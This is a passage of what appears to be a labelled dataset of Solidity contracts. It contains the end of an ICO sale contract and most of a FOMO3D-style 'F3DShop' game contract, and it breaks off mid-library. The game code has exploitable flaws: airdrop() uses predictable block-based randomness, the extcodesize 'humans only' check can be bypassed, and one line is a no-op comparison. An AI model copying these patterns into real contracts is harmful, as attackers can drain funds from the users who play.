function moveUnsoldTokensToICO() public onlyOwner {
uint256 unsoldTokens = preICOStats.maxTokenSupply - preICOStats.soldTokens;
if (unsoldTokens > 0) {
preICOStats.maxTokenSupply = preICOStats.soldTokens;
}
}
function transferEthers() internal {
if (collectedUSD.add(preICOStats.collectedUSD) >= softCap) {
etherHolder.transfer(this.balance);
}
}
function mintPreICO(
address _address,
uint256 _tokenAmount,
uint256 _ethAmount,
uint256 _usdAmount
) internal returns (uint256) {
uint256 mintedAmount = token.mint(_address, _tokenAmount);
require(mintedAmount == _tokenAmount);
preICOStats.soldTokens = preICOStats.soldTokens.add(_tokenAmount);
preICOStats.collectedEthers = preICOStats.collectedEthers.add(_ethAmount);
preICOStats.collectedUSD = preICOStats.collectedUSD.add(_usdAmount);
require(preICOStats.maxTokenSupply >= preICOStats.soldTokens);
require(maxTokenSupply >= preICOStats.soldTokens);
return _tokenAmount;
}
function buy(address _address, uint256 _value) internal returns (bool) {
if (_value == 0 || _address == address(0)) {
return false;
}
uint256 activeTier = getActiveTier();
if (activeTier == tiers.length) {
return false;
}
uint256 tokenAmount;
uint256 usdAmount;
uint256 mintedAmount;
(tokenAmount, usdAmount) = calculateTokensAmount(_value);
require(usdAmount > 0 && tokenAmount > 0);
if (activeTier >= PRE_ICO_TIER_FIRST && activeTier <= PRE_ICO_TIER_LAST) {
mintedAmount = mintPreICO(_address, tokenAmount, _value, usdAmount);
etherHolder.transfer(this.balance);
} else {
mintedAmount = mintInternal(_address, tokenAmount);
require(soldTokens <= maxTokenSupply.sub(preICOStats.maxTokenSupply));
collectedUSD = collectedUSD.add(usdAmount);
require(hardCap >= collectedUSD.add(preICOStats.collectedUSD) && usdAmount > 0 && mintedAmount > 0);
collectedEthers = collectedEthers.add(_value);
etherBalances[_address] = etherBalances[_address].add(_value);
icoBalances[_address] = icoBalances[_address].add(tokenAmount);
transferEthers();
}
Contribution(_address, _value, tokenAmount);
return true;
}
} | 1 | 3,845 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract F3DShop is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x077c6697C0e6861b0e058bc3D5ba77b9f37434C6);
address private admin = 0x700D7ccD114D988f0CEDDFCc60dd8c3a2f7b49FB;
address private coin_base = 0x4D79AAe78608CF0317F4f785cAF449faDC1ff983;
string constant public name = "F3DShop";
string constant public symbol = "F3DShop";
uint256 private rndExtra_ = 0;
uint256 private rndGap_ = 2 minutes;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
coin_base.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(coin_base).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
coin_base.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
